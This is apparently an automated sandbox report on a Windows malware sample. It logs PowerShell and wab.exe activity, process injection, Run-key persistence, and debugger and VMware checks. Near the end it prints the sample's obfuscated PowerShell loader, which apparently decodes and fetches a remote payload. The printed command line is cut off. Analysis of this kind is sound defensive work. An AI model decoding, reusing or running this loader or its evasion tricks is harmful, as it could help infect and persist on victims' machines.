Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_089F7F2D push ebp; iretd 4_2_089F7F2E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CBC8E8 push edx; ret 8_2_02CBC8EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB9879 push ds; ret 8_2_02CB987A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB9823 push DC578903h; retf 8_2_02CB9828
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB7822 pushad ; ret 8_2_02CB79C8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CBD220 push es; retf 8_2_02CBD231
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB79C9 pushad ; ret 8_2_02CB79C8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB9D84 push es; retf 8_2_02CB9D9C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB99A2 push edx; retf 8_2_02CB99A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB7F2D push ebp; iretd 8_2_02CB7F2E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Startup key Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Startup key Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7348 Thread sleep count: 4359 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7348 Thread sleep count: 4424 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7380 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 8060 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5187 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4223 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4359 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4424 Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000000.00000002.2145220723.00000289AACA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\%=
Source: wscript.exe, 00000000.00000002.2145220723.00000289AACA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Z<
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 8_2_02CB8367 LdrInitializeThunk, 8_2_02CB8367

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\SysWOW64\mshtml.dll target: C:\Program Files (x86)\Windows Mail\wab.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2CB0000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2B8A008 Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function sabbatsaf9 ([string]$conver){$hemi = 8;for($chaperone=7; $chaperone -lt $conver.length-1; $chaperone+=$hemi){$odonto=$odonto+$conver.substring($chaperone, 1)};$odonto;}$forflygtig=sabbatsaf9 'moskeerh radiattintensitplatybap proinssaweless:aurotel/ unword/unspicidgennemlrlitigabi druknevbrnepsye lseret.fritstigspeakniofrgemanounmeticgtrelemeltelemeteantleri.incomplcacritajovinkelrmecumeni/ambytoouanthrapckomplek?silkenweuncondoxsimplicpknasteroflertydrkalendetfertili=cleektidgeneralomillosvwfleretanectoderl skjoldodementiacellevgdhyperne&diskotei compledbethank=smrsrim1tennissq begohmutilfredjskefuldxestimab0pengeafwbutnakk0 agerkazcarpomeisalamanmsardachwmiskendrmunksbiabedraget recivicetheris2chekhovlnagginglaabningxsipesrrrestivat5 europessketchircalcarifpersoniv casinoukatedra6 bicarbyladybirtskrlevndjuanitadsvrtlsthfellato ';$odonto01=sabbatsaf9 ' privatithiofure subvarx lsnagi ';$adjurorp = sabbatsaf9 'incitab\ banders torniryquadruas millimwtaskleso sirupswtanzani6 eftert4microco\vetchyiwlrebogsiuniversnenervatdtrafikuomicrochwbrnehavscardonrpadoptivorasurerw develoefaithfurfinansistousysyhjockeyieariettalamtsliglforeswe\summandvepanaph1viltert.semifos0videobr\viktualpbauhiniomarkerswfiercene onklenrsalgsdaslsreforh studieechagrinl dumpniltapemar.trinskieudviklix udgifteskatteb '; & ($odonto01) (sabbatsaf9 'forvikl$ opponedconcinna 